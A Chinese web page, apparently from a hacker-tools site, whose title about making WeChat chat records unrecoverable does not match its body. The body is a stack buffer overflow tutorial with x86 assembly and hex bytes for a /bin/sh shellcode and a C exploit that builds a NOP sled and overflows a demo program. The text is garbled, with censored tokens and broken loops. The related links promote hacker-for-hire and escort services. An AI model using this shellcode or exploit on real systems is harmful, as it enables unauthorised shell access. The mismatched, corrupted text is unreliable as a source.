如何让别人恢复不了微信聊天记录」让对让微信

访客4年前黑客工具1040

利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。 
Jmp CALL 
Popl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址 
movb $0x0,0x7(%esi) ‘输入0的字符串为结尾 
mov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0] 
mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc 
mov %esi,%ebx ‘设置数据段开始的地址 
leal 0x8(%esi),%ecx ‘设置参数1 
leal 0xc(%esi),%edx ‘设置参数2 
mov $0xb,%eax ‘设置调用号 
int $0x80 ‘调用 
mov $0x0,%ebx 
mov $0x1,%eax 
int $0x80 
Call popl 
.string \"/bin/sh\" 然后通过C编译器编写MYSHELLA *** .C 
运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的, 通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLA *** 可以运行 
ret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址 
//(+2是因为:有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时 候,以"\0" 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。 
把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成 
jmp 0x1f 
popl %esi 
movl %esi,0x8(%esi) 
xorl %eax,%eax 
movb %eax,0x7(%esi) 
movl %eax,0xc(%esi) 
movb $0xb,%al 
movl %esi,%ebx 
leal 0x8(%esi),%ecx 
leal 0xc(%esi),%edx 
int $0x80 
xorl %ebx,%ebx 
movl %ebx,%eax 
inc %eax 
int $0x80 
call -0x24 
.string \"/bin/sh\" 汇编得出的 
shellcode = 
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" 
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
我们开始来写一个攻击DEMO溢出的例子 
1:把我们的shellcode提供给他,让他可以访问shellcode。 
2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于xx作系统来说,一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程 序堆栈的开始地址。 
(所有C函数的返回值都放在eax 寄存器 里面): 
unsigned long get_sp(void) { 
__a *** __("movl %esp,%eax"); 

buffer相对于堆栈开始地址的偏移,对于DEMO我们可以计算出来,但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。为了 提高命中率,增加溢出的SHELLCODE的长度和NOP指令,NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。 
#include 
#include 
#define OFFSET 0 
#define RET_POSITION 120 
#define RANGE 20 
#define NOP 0x90 char shellcode[]= 
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" 
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) 

__a *** __("movl %esp,%eax"); 
} main(int argc,char **argv) 

char buff[RET_POSITION+RANGE+1],*ptr; 
long addr; 
unsigned long sp; 
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; 
int i; if(argc>1) 
offset=atoi(argv[1]); sp=get_sp(); 
addr=sp-offset; for(i=0;i *((long *)&(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; 
for(i=0;i *(ptr++)=shellcode[i]; 
buff[bsize-1]="\0" 
for(i=0;i<132;i++) 
printf("0x%08x\n",buff[i]); 
printf("Jump to 0x%08x\n",addr); execl("./demo","demo",buff,0); 

注意,如果发现溢出允许的空间不足够SHELLCODE的代码,那么可以把地址放到前面去,SHELLCODE放在地 址的后面,程序进行一些改动,原理一致 

相关文章

黑客进去qq空间,有关于电脑_网络_黑客_高智商犯罪的电视剧排行榜,黑客如何获取qq密码

gameofthronescastle.com这是台湾白帽Orange Tsai(蔡政达)在2019 Black Hat USA上的议题,他介绍了怎么根据“不共同性”安全问题,综合运用4个功用性Bug...

厦门男士spa养生私人会所,网评这家服务超赞的

 安徽商务代理SPA最基本的要素是含有丰富矿物质的天然或人造温泉水.当身体浸泡在温泉水中,由于液体静力压的关系,令血液在体内重新分布,据某统计分析约有700ml血液回流至胸腔内,而造成利尿效果,故风...

假装黑客的软件(如何假装黑客)-真的存在黑客帮忙追回被骗的钱吗

假装黑客的软件(如何假装黑客)-真的存在黑客帮忙追回被骗的钱吗

假装黑客的软件(如何假装黑客)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务、黑...

南京商务陪伴儿工作室地点位置褚妙海

南京商务陪伴小学妹工作室地点位置【褚妙海】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄北京 女 24,婚姻:未婚,学历:高中,气质:魅力时尚,健康匀称南京...

黑客读什么书最好(想当一名黑客应该看些什么书?)

黑客读什么书最好(想当一名黑客应该看些什么书?)

本文导读目录: 1、谁给我介绍几本关于黑客的书啊! 2、刚入门的黑客学那本黑客书较好? 3、什么样的黑客书籍最好? 4、关于黑客攻防的书很多,哪本最好最有用? 5、黑客新手入门应该学习...

网络营销经典案例介绍(详解3个经典案例优缺点)

网络营销经典案例介绍(详解3个经典案例优缺点)

引言:洗脑广告总是在不断重复之中消磨人们的耐心,但也同时强硬地占领了人们的心智和认知。 每当听到视频中、电梯里、电视上不断出现的洗脑广告,人们都不胜其烦。洗脑广告的“洗脑”功效主要体现在能够在短...